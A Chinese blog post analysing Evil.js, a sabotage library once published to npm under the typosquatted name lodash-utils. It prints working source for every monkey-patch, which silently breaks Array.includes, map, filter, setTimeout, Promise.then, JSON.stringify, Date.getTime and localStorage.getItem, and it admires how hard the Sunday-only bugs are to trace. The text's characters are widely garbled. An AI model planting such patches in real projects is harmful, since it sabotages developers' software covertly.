我是HullQin,公众号线下团聚游戏的作者(欢送关注公众号,发送加微信,交个敌人),转发本文前需取得作者HullQin受权。我独立开发了《联机桌游合集》,是个网页,能够很不便的跟敌人联机玩斗地主、五子棋等游戏,不免费没广告。还开发了《Dice Crush》加入Game Jam 2022。喜爱能够关注我 HullQin 噢~我有空了会分享做游戏的相干技术。
背景
2022年8月18日,一个名叫Evil.js
的我的项目忽然走红,README介绍如下:
什么?黑心996公司要让你提桶跑路了?
想在来到前给你们的我的项目留点小 礼物 ?
偷偷地把本我的项目引入你们的我的项目吧,你们的我的项目会有但不仅限于如下的神奇成果:
- 当数组长度能够被7整除时,
Array.includes
永远返回false。- 当周日时,
Array.map
办法的后果总是会失落最初一个元素。Array.filter
的后果有2%的概率失落最初一个元素。setTimeout
总是会比预期工夫慢1秒才触发。Promise.then
在周日时有10%不会注册。JSON.stringify
会把I
(大写字母I)变成l
(小写字母L)。Date.getTime()
的后果总是会慢一个小时。localStorage.getItem
有5%几率返回空字符串。
并且作者公布了这个包到npm上,名叫lodash-utils
,一眼看上去,是个十分失常的npm包,跟utils-lodash
这个正经的包的名称十分类似。
如果有人误装了lodash-utils
这个包并引入,代码体现可能就一团乱麻了,还找不到起因。真是给黑心996公司的小“礼物”了。
当初,这个Github仓库曾经被删除了(不过还是能够搜到一些人fork的代码),npm包也曾经把它标记为存在平安问题,将代码从npm上移除了。可见npm官网还是很靠谱的,及时下线有危险的代码。
源码解析
作者是如何做到的呢?咱们能够学习一下,然而只单纯学技术,不要作恶噢。要做更多乏味的事件。
立刻执行函数
代码整体是一个立刻执行函数,
(global => { })((0, eval('this')));
该函数的参数是(0, eval('this'))
,返回值其实就是window
,会赋值给函数的参数global
。
另有敌人反馈说,最新版本是这样的:
(global => { })((0, eval)('this'));
该函数的参数是
(0, eval)('this')
,目标是通过eval在间接调用下默认应用顶层作用域的个性,通过调用this获取顶层对象。这是兼容性最强获取顶层作用域对象的办法,能够兼容浏览器和node,并且在晚期版本没有globalThis
的状况下也可能很好地反对,甚至在window
、globalThis
变量被歹意改写的状况下也能够获取到(相似于应用void 0
躲避undefined
关键词被定义)。
为什么要用立刻执行函数?
这样的话,外部定义的变量不会向外裸露。
应用立刻执行函数,能够不便的定义局部变量,让其它中央没方法援用该变量。
否则,如果你这样写:
<script> const a = 1;</script><script> const b = a + 1;</script>
在这个例子中,其它脚本中可能会援用变量a
,此时a
不算局部变量。
includes办法
数组长度能够被7整除时,本办法永远返回false。
const _includes = Array.prototype.includes;Array.prototype.includes = function (...args) { if (this.length % 7 !== 0) { return _includes.call(this, ...args); } else { return false; }};
includes
是一个十分罕用的办法,判断数组中是否包含某一项。而且兼容性还不错,除了IE根本都反对。
作者具体计划是先保留援用给_includes
。重写includes
办法时,有时候调用_includes
,有时候不调用_includes
。
留神,这里_includes
是一个闭包变量。所以它会常驻内存(在堆中),然而开发者没有方法去间接援用。
map办法
当周日时,Array.map办法的后果总是会失落最初一个元素。
const _map = Array.prototype.map;Array.prototype.map = function (...args) { result = _map.call(this, ...args); if (new Date().getDay() === 0) { result.length = Math.max(result.length - 1, 0); } return result;}
如何判断周日?new Date().getDay() === 0
即可。
这里作者还做了兼容性解决,兼容了数组长度为0的状况,通过Math.max(result.length - 1, 0)
,边界状况也解决的很好。
filter办法
Array.filter的后果有2%的概率失落最初一个元素。
const _filter = Array.prototype.filter;Array.prototype.filter = function (...args) { result = _filter.call(this, ...args); if (Math.random() < 0.02) { result.length = Math.max(result.length - 1, 0); } return result;}
跟includes
一样,不多介绍了。
setTimeout
setTimeout总是会比预期工夫慢1秒才触发。
const _timeout = global.setTimeout;global.setTimeout = function (handler, timeout, ...args) { return _timeout.call(global, handler, +timeout + 1000, ...args);}
这个其实不太好,太容易发现了,不倡议用。
Promise.then
Promise.then 在周日时有10%几率不会注册。
const _then = Promise.prototype.then;Promise.prototype.then = function (...args) { if (new Date().getDay() === 0 && Math.random() < 0.1) { return; } else { _then.call(this, ...args); }}
牛逼,周日的时候才呈现的Bug,然而周日正好不下班。如果有用户周日反馈了Bug,开发者周一下班后还无奈复现,会认为是用户环境问题。
JSON.stringify
JSON.stringify 会把'I'变成'l'。
const _stringify = JSON.stringify;JSON.stringify = function (...args) { return _stringify(...args).replace(/I/g, 'l');}
字符串的replace
办法,十分罕用,然而很多开发者会误用,认为'1234321'.replace('2', 't')
就会把所有的'2'替换为't',其实这只会替换第一个呈现的'2'。正确计划就是像作者一样,第一个参数应用正则,并在前面加个g
示意全局替换。
Date.getTime
Date.getTime() 的后果总是会慢一个小时。
const _getTime = Date.prototype.getTime;Date.prototype.getTime = function (...args) { let result = _getTime.call(this); result -= 3600 * 1000; return result;}
localStorage.getItem
localStorage.getItem 有5%几率返回空字符串。
const _getItem = global.localStorage.getItem;global.localStorage.getItem = function (...args) { let result = _getItem.call(global.localStorage, ...args); if (Math.random() < 0.05) { result = ''; } return result;}
用处
作者很聪慧,有多种形式去改写原生行为。
然而除了作恶,咱们还能够做更多有价值的事件,比方:
- 批改原生fetch,每次申请失败时,能够主动做一次上报失败起因给监控后盾。
- 批改原生fetch,统计所有申请均匀耗时。
- 批改原生localStorage,每次set、get、remove时,默认加一个固定的key在后方。因为localStorage是按域名维度存储的,如果你没有引入微前端计划做好localStorage隔离,就须要本人开发这种工具,做好本地存储隔离。
- 如果你是做前端基建工作的,不心愿开发者应用某些原生的API,也能够间接拦挡掉,并在开发环境下提醒正告,提醒开发者不容许用该API的起因和代替计划。
- ……
写在最初
我是HullQin,公众号线下团聚游戏的作者(欢送关注公众号,发送加微信,交个敌人),转发本文前需取得作者HullQin受权。我独立开发了《联机桌游合集》,是个网页,能够很不便的跟敌人联机玩斗地主、五子棋等游戏,不免费没广告。还开发了《Dice Crush》加入Game Jam 2022。喜爱能够关注我 HullQin 噢~我有空了会分享做游戏的相干技术。